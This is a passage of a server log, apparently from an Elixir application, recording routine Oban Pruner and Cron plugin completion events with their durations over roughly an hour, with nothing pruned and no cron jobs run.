{"source":"oban","duration":1011,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:12:58.065 [info] {"source":"oban","duration":987,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:13:00.874 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:13:28.067 [info] {"source":"oban","duration":1405,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:13:58.069 [info] {"source":"oban","duration":1356,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:14:00.875 [info] {"source":"oban","duration":358,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:14:28.071 [info] {"source":"oban","duration":1457,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:14:58.073 [info] {"source":"oban","duration":1363,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:15:00.876 [info] {"source":"oban","duration":422,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:15:28.075 [info] {"source":"oban","duration":1404,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:15:58.077 [info] {"source":"oban","duration":1500,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:16:00.877 [info] {"source":"oban","duration":459,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:16:28.079 [info] {"source":"oban","duration":1278,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:16:58.081 [info] {"source":"oban","duration":1511,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:17:00.878 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:17:28.083 [info] {"source":"oban","duration":1385,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:17:58.085 [info] {"source":"oban","duration":1417,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:18:00.879 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:18:28.087 [info] {"source":"oban","duration":1436,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:18:58.089 [info] {"source":"oban","duration":1423,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:19:00.880 [info] {"source":"oban","duration":269,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:19:28.091 [info] {"source":"oban","duration":1441,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:19:58.093 [info] {"source":"oban","duration":1038,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:20:00.881 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:20:28.095 [info] {"source":"oban","duration":1643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:20:58.097 [info] {"source":"oban","duration":1083,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:21:00.882 [info] {"source":"oban","duration":418,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:21:28.099 [info] {"source":"oban","duration":1147,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:21:58.101 [info] {"source":"oban","duration":1554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:22:00.883 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:22:28.103 [info] {"source":"oban","duration":1120,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:22:58.105 [info] {"source":"oban","duration":1356,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:23:00.884 [info] {"source":"oban","duration":417,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:23:28.107 [info] {"source":"oban","duration":1251,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:23:58.109 [info] {"source":"oban","duration":1297,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:24:00.885 [info] {"source":"oban","duration":339,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:24:28.111 [info] {"source":"oban","duration":1448,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:24:58.113 [info] {"source":"oban","duration":1415,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:25:00.886 [info] {"source":"oban","duration":256,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:25:28.115 [info] {"source":"oban","duration":1256,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:25:58.117 [info] {"source":"oban","duration":1496,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:26:00.887 [info] {"source":"oban","duration":265,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:26:28.119 [info] {"source":"oban","duration":1306,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:26:58.121 [info] {"source":"oban","duration":1147,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:27:00.888 [info] {"source":"oban","duration":316,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:27:28.123 [info] {"source":"oban","duration":1109,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:27:58.125 [info] {"source":"oban","duration":1055,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:28:00.889 [info] {"source":"oban","duration":288,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:28:28.127 [info] {"source":"oban","duration":1011,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:28:58.129 [info] {"source":"oban","duration":1083,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:29:00.890 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:29:28.131 [info] {"source":"oban","duration":1004,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:29:58.133 [info] {"source":"oban","duration":1125,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:30:00.891 [info] {"source":"oban","duration":424,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:30:28.135 [info] {"source":"oban","duration":1395,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:30:58.137 [info] {"source":"oban","duration":1682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:31:00.892 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:31:28.140 [info] {"source":"oban","duration":1163,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:31:58.142 [info] {"source":"oban","duration":1234,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:32:00.893 [info] {"source":"oban","duration":430,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:32:28.144 [info] {"source":"oban","duration":1328,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:32:58.146 [info] {"source":"oban","duration":1347,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:33:00.894 [info] {"source":"oban","duration":290,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:33:28.148 [info] {"source":"oban","duration":1279,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:33:58.150 [info] {"source":"oban","duration":1278,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:34:00.895 [info] {"source":"oban","duration":551,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:34:28.152 [info] {"source":"oban","duration":990,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:34:58.154 [info] {"source":"oban","duration":1116,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:35:00.896 [info] {"source":"oban","duration":350,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:35:28.156 [info] {"source":"oban","duration":1290,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:35:58.158 [info] {"source":"oban","duration":1242,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:36:00.897 [info] {"source":"oban","duration":263,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:36:28.160 [info] {"source":"oban","duration":1295,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:36:58.162 [info] {"source":"oban","duration":1151,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:37:00.898 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:37:28.164 [info] {"source":"oban","duration":1068,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:37:58.166 [info] {"source":"oban","duration":1118,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:38:00.899 [info] {"source":"oban","duration":387,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:38:28.168 [info] {"source":"oban","duration":975,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:38:58.170 [info] {"source":"oban","duration":1291,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:39:00.900 [info] {"source":"oban","duration":366,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:39:28.172 [info] {"source":"oban","duration":1323,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:39:58.174 [info] {"source":"oban","duration":1370,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:40:00.901 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:40:28.176 [info] {"source":"oban","duration":1499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:40:58.178 [info] {"source":"oban","duration":1400,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:41:00.902 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:41:28.180 [info] {"source":"oban","duration":1422,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:41:58.182 [info] {"source":"oban","duration":1424,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:42:00.903 [info] {"source":"oban","duration":408,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:42:28.184 [info] {"source":"oban","duration":1627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:42:58.186 [info] {"source":"oban","duration":1414,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:43:00.904 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:43:28.188 [info] {"source":"oban","duration":1348,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:43:58.190 [info] {"source":"oban","duration":1373,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:44:00.905 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:44:28.192 [info] {"source":"oban","duration":1195,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:44:58.194 [info] {"source":"oban","duration":1214,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:45:00.906 [info] {"source":"oban","duration":392,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:45:28.196 [info] {"source":"oban","duration":1368,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:45:58.198 [info] {"source":"oban","duration":1322,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:46:00.907 [info] {"source":"oban","duration":423,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:46:28.200 [info] {"source":"oban","duration":1040,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:46:58.202 [info] {"source":"oban","duration":1037,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:47:00.908 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:47:28.204 [info] {"source":"oban","duration":1387,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:47:58.206 [info] {"source":"oban","duration":1425,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:48:00.909 [info] {"source":"oban","duration":395,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:48:28.208 [info] {"source":"oban","duration":1354,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:48:58.210 [info] {"source":"oban","duration":1421,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:49:00.910 [info] {"source":"oban","duration":342,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:49:28.212 [info] {"source":"oban","duration":1685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:49:58.215 [info] {"source":"oban","duration":1660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:50:00.911 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:50:28.217 [info] {"source":"oban","duration":1396,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:50:58.219 [info] {"source":"oban","duration":1456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:51:00.912 [info] {"source":"oban","duration":234,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:51:28.221 [info] {"source":"oban","duration":1589,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:51:58.224 [info] {"source":"oban","duration":1289,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:52:00.913 [info] {"source":"oban","duration":223,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:52:28.226 [info] {"source":"oban","duration":1319,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:52:58.228 [info] {"source":"oban","duration":1228,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:53:00.914 [info] {"source":"oban","duration":282,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:53:28.230 [info] {"source":"oban","duration":1403,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:53:58.232 [info] {"source":"oban","duration":1190,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:54:00.915 [info] {"source":"oban","duration":354,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:54:28.234 [info] {"source":"oban","duration":1435,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:54:58.236 [info] {"source":"oban","duration":1523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:55:00.916 [info] {"source":"oban","duration":343,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:55:28.238 [info] {"source":"oban","duration":1309,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:55:58.240 [info] {"source":"oban","duration":1625,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:56:00.917 [info] {"source":"oban","duration":359,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:56:28.242 [info] {"source":"oban","duration":1477,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:56:58.244 [info] {"source":"oban","duration":1447,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:57:00.918 [info] {"source":"oban","duration":421,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:57:28.246 [info] {"source":"oban","duration":1437,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:57:58.248 [info] {"source":"oban","duration":1444,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:58:00.919 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:58:28.250 [info] {"source":"oban","duration":1118,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:58:58.252 [info] {"source":"oban","duration":1550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:59:00.920 [info] {"source":"oban","duration":292,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 12:59:28.254 [info] {"source":"oban","duration":1686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 12:59:58.256 [info] {"source":"oban","duration":1444,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:00:00.921 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:00:28.258 [info] {"source":"oban","duration":1436,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:00:58.260 [info] {"source":"oban","duration":1665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:01:00.922 [info] {"source":"oban","duration":256,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:01:28.262 [info] {"source":"oban","duration":1394,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:01:58.264 [info] {"source":"oban","duration":1539,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:02:00.923 [info] {"source":"oban","duration":391,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:02:28.266 [info] {"source":"oban","duration":1284,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:02:58.268 [info] {"source":"oban","duration":1210,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:03:00.924 [info] {"source":"oban","duration":421,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:03:28.270 [info] {"source":"oban","duration":1195,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:03:58.272 [info] {"source":"oban","duration":1221,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:04:00.926 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:04:28.274 [info] {"source":"oban","duration":1548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:04:58.276 [info] {"source":"oban","duration":1641,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:05:00.927 [info] {"source":"oban","duration":275,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:05:28.278 [info] {"source":"oban","duration":1294,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:05:58.280 [info] {"source":"oban","duration":1487,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:06:00.928 [info] {"source":"oban","duration":258,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:06:28.282 [info] {"source":"oban","duration":1524,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:06:58.284 [info] {"source":"oban","duration":1645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:07:00.929 [info] {"source":"oban","duration":417,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:07:28.286 [info] {"source":"oban","duration":1480,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:07:58.288 [info] {"source":"oban","duration":1142,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:08:00.930 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:08:28.290 [info] {"source":"oban","duration":1230,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:08:58.292 [info] {"source":"oban","duration":1389,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:09:00.931 [info] {"source":"oban","duration":228,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:09:28.294 [info] {"source":"oban","duration":1363,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:09:58.296 [info] {"source":"oban","duration":1053,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:10:00.932 [info] {"source":"oban","duration":316,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:10:28.298 [info] {"source":"oban","duration":1045,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:10:58.300 [info] {"source":"oban","duration":1402,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:11:00.933 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:11:28.302 [info] {"source":"oban","duration":1059,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:11:58.304 [info] {"source":"oban","duration":1040,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:12:00.934 [info] {"source":"oban","duration":283,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:12:28.306 [info] {"source":"oban","duration":1197,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:12:58.308 [info] {"source":"oban","duration":1207,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:13:00.935 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:13:28.310 [info] {"source":"oban","duration":1467,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:13:58.312 [info] {"source":"oban","duration":1419,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:14:00.936 [info] {"source":"oban","duration":331,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:14:28.314 [info] {"source":"oban","duration":1469,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:14:58.316 [info] {"source":"oban","duration":1221,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:15:00.937 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:15:28.318 [info] {"source":"oban","duration":1530,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:15:58.320 [info] {"source":"oban","duration":1468,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:16:00.938 [info] {"source":"oban","duration":318,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:16:28.322 [info] {"source":"oban","duration":1263,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:16:58.324 [info] {"source":"oban","duration":1415,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:17:00.939 [info] {"source":"oban","duration":489,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:17:28.326 [info] {"source":"oban","duration":1356,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:17:58.328 [info] {"source":"oban","duration":1153,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:18:00.940 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:18:28.329 [info] {"source":"oban","duration":926,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:18:58.332 [info] {"source":"oban","duration":1095,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:19:00.941 [info] {"source":"oban","duration":310,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:19:28.334 [info] {"source":"oban","duration":1021,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:19:58.336 [info] {"source":"oban","duration":1037,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:20:00.942 [info] {"source":"oban","duration":416,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:20:28.338 [info] {"source":"oban","duration":952,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:20:58.340 [info] {"source":"oban","duration":1110,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:21:00.943 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:21:28.342 [info] {"source":"oban","duration":1336,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:21:58.344 [info] {"source":"oban","duration":1533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:22:00.944 [info] {"source":"oban","duration":396,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:22:28.346 [info] {"source":"oban","duration":1373,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:22:58.348 [info] {"source":"oban","duration":1386,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:23:00.945 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:23:28.350 [info] {"source":"oban","duration":1498,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:23:58.352 [info] {"source":"oban","duration":1313,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:24:00.946 [info] {"source":"oban","duration":272,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:24:28.354 [info] {"source":"oban","duration":1346,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:24:58.356 [info] {"source":"oban","duration":1030,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:25:00.947 [info] {"source":"oban","duration":350,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:25:28.358 [info] {"source":"oban","duration":1249,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:25:58.360 [info] {"source":"oban","duration":1378,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:26:00.948 [info] {"source":"oban","duration":177,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:26:28.362 [info] {"source":"oban","duration":1068,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:26:58.364 [info] {"source":"oban","duration":1504,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:27:00.949 [info] {"source":"oban","duration":282,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:27:28.366 [info] {"source":"oban","duration":995,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:27:58.368 [info] {"source":"oban","duration":1212,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:28:00.950 [info] {"source":"oban","duration":357,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:28:28.370 [info] {"source":"oban","duration":979,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:28:58.372 [info] {"source":"oban","duration":963,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:29:00.951 [info] {"source":"oban","duration":310,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:29:28.374 [info] {"source":"oban","duration":906,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:29:58.376 [info] {"source":"oban","duration":1516,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:30:00.952 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:30:28.378 [info] {"source":"oban","duration":1383,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:30:58.380 [info] {"source":"oban","duration":1383,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:31:00.953 [info] {"source":"oban","duration":291,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:31:28.382 [info] {"source":"oban","duration":1469,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:31:58.384 [info] 